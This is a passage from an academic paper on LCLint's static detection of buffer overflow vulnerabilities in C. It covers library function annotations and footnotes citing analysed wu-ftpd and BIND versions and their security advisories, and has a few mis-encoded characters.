  4096.  void *calloc (size_t nobj, size_t size) 
  4097.  
  4098. /*@ensures maxSet(result) == nobj@*/;
  4099.  
  4100.  void *malloc (size_t size) 
  4101.  
  4102. /*@ensures maxSet(result) == size@*/;
  4103.  
  4104.  
  4105.  
  4106.  
  4107. These annotations were determined based on ISO C standard [ISO99]. Note that the
  4108. semantics of strncpy and strncat are different û strncpy writes exactly n
  4109. characters to the buffer but does not guarantee that a null character is added;
  4110. strncat appends n characters to the buffer and a null character. The ensures
  4111. clauses reveal these differences clearly.
  4112.  
  4113. The full specifications for malloc and calloc also include null annotations on
  4114. the result that indicate that they may return NULL. Existing LCLint checking
  4115. detects dereferencing a potentially null pointer. As a result, the implicit
  4116. actual postcondition for malloc is maxSet(result) == size ┌ result == null.
  4117. LCLint does not support general disjunctions, but possibly NULL values can be
  4118. handled straightforwardly.
  4119.  
  4120. [1] We can trivially reduce the halting problem to the buffer overflow detection
  4121. problem by inserting code that causes a buffer overflow before all halt
  4122. instructions.
  4123.  
  4124. [2] The original Larch C interface language LCL [GH93], on which LCLintÆs
  4125. annotation language was based, did include a notion of general preconditions and
  4126. post¡conditions specified by requires and ensures clauses.
  4127.  
  4128. [3] LCLint also supports a nullterminated annotation that denotes storage that
  4129. is terminated by the null character. Many C library functions require
  4130. null-terminated strings, and can produce buffer overflow vulnerabilities if they
  4131. are passed a string that is not properly null-terminated. We do not cover the
  4132. nullterminated annotation and related checking in this paper. For information on
  4133. it, see [LHSS00].
  4134.  
  4135. [4] The standard library specification of strcpy also includes other LCLint
  4136. annotations: a modifies clause that indicates that the only thing that may be
  4137. modified by strcpy is the storage referenced by s1, an out annotation on s1 to
  4138. indicate that it need not point to defined storage when strcpy is called, a
  4139. unique annotation on s1 to indicate that it may not alias the same storage as
  4140. s2, and a returned annotation on s1 to indicate that the returned pointer
  4141. references the same storage as s1. For clarity, the examples in this paper show
  4142. only the annotations directly relevant to detecting buffer overflow
  4143. vulnerabilities. For more information on other LCLint annotations, see [Evans96,
  4144. Evans00c].
  4145.  
  4146. [5] The source code for wu-ftpd is available from http://www.wu-ftpd.org. We
  4147. analyzed the version in
  4148. ftp://ftp.wu-ftpd.org/pub/wu-ftpd-attic/wu-ftpd-2.5.0.tar.gz. We configured
  4149. wu-ftpd using the default configuration for FreeBSD systems. Since LCLint
  4150. performs most of its analyses on code that has been pre-processed, our analysis
  4151. did not examine platform-specific code in wu-ftpd for platforms other than
  4152. FreeBSD.
  4153.  
  4154. [6] For our prototype implementation, we have not yet attempted to produce
  4155. messages that can easily be interpreted by typical programmers. Instead, we
  4156. generate error messages that reveal information useful to the LCLint developers.
  4157. Generating good error messages is a challenging problem; we plan to devote more
  4158. effort to this before publicly releasing our tool.
  4159.  
  4160. [7] Because strncpy does not guarantee null termination, it is necessary to
  4161. explicitly put a null character at the end of the buffer.
  4162.  
  4163. [8] Advisories for this vulnerability can be found at
  4164. http://www.cert.org/advisories/CA-1999-13.html and
  4165. ftp://www.auscert.org.au/security/advisory/AA-1999.01.wu-ftpd.mapping_chdir.vul.
  4166.  
  4167. [9] The source code is available at
  4168. ftp://ftp.isc.org/isc/bind/src/8.2.2-P7/bind-src.tar.gz
  4169.  
  4170. [10] An advisory for this vulnerability can be found at
  4171. http://lwn.net/2001/0201/a/covert-bind.php3.
  4172.  
  4173.  
  4174.  
  4175.  
  4176.  
  4177.  
  4178.  
  4179.  
  4180.  
  4181.  
  4182.  
  4183.  
  4184.  
  4185.  
  4186.  
  4187.  
  4188.